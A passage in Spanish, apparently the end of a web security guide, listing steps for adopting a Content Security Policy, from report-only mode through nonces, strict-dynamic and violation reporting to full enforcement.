default-src 'self'en modo report-only - Añade directivas progresivamente — Scripts, estilos, imágenes, etc.
- Gestiona los scripts inline — Muévelos a archivos, usa hashes o implementa nonces
- Para sitios estáticos — Usa
sub_filterde Nginx para inyección de nonces - Aplica la CSP estricta — Añade
'strict-dynamic',object-src 'none',base-uri 'none' - Configura el reporting — Monitoriza las violaciones con
report-uri/report-to - Aplica gradualmente — Cambia de report-only a aplicación tras las pruebas
- Mantén e itera — Sigue monitorizando, actualiza según evolucione tu aplicación